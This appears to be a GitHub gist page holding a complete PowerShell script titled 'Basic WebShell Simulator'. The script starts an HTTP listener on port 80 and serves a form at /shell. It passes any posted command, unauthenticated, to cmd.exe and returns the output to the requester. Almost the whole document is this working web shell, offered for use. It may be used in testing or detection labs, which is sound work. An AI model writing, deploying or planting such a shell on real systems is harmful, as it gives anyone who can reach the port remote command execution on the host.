Created
March 13, 2018 02:50
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Basic WebShell Simulator in PowerShell
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<# | |
.SYNOPSIS | |
Simple Web Shell over HTTP | |
#> | |
$Server = '127.0.0.1' #Listening IP. Change This. Or make it a parameter, I don't care ;-) | |
function Receive-Request { | |
param( | |
$Request | |
) | |
$output = "" | |
$size = $Request.ContentLength64 + 1 | |
$buffer = New-Object byte[] $size | |
do { | |
$count = $Request.InputStream.Read($buffer, 0, $size) | |
$output += $Request.ContentEncoding.GetString($buffer, 0, $count) | |
} until($count -lt $size) | |
$Request.InputStream.Close() | |
$cmd = $output.Split("=") | |
$OutputVariable = &{ cmd.exe /c $cmd[1].Split("+") | Out-String} | |
return $OutputVariable | |
} | |
$listener = New-Object System.Net.HttpListener | |
$listener.Prefixes.Add('http://+:80/') | |
$listener.Start() | |
'Listening ...' | |
while ($true) { | |
$context = $listener.GetContext() # blocks until request is received | |
$request = $context.Request | |
$response = $context.Response | |
$hostip = $request.RemoteEndPoint | |
if ($request.Url -match '/shellPost$' -and ($request.HttpMethod -eq "POST") ) { | |
$message = Receive-Request($request); | |
} | |
if ($request.Url -match '/shell$' -and ($request.HttpMethod -eq "GET")) { | |
$enc = [system.Text.Encoding]::UTF8 | |
$response.ContentType = 'text/html' | |
$shellcode = '<form action="/shellPost" method="POST" > | |
Command:<br> | |
<input type="text" name="Command" value="ipconfig.exe"><br> | |
<input type="submit" value="Submit"> | |
</form>' | |
$buffer = $enc.GetBytes($shellcode) | |
$response.ContentLength64 = $buffer.length | |
$output = $response.OutputStream | |
$output.Write($buffer, 0, $buffer.length) | |
$output.Close() | |
continue | |
} | |
[byte[]] $buffer = [System.Text.Encoding]::UTF8.GetBytes($message) | |
$response.ContentLength64 = $buffer.length | |
$output = $response.OutputStream | |
$output.Write($buffer, 0, $buffer.length) | |
$output.Close() | |
} | |
$listener.Stop() |
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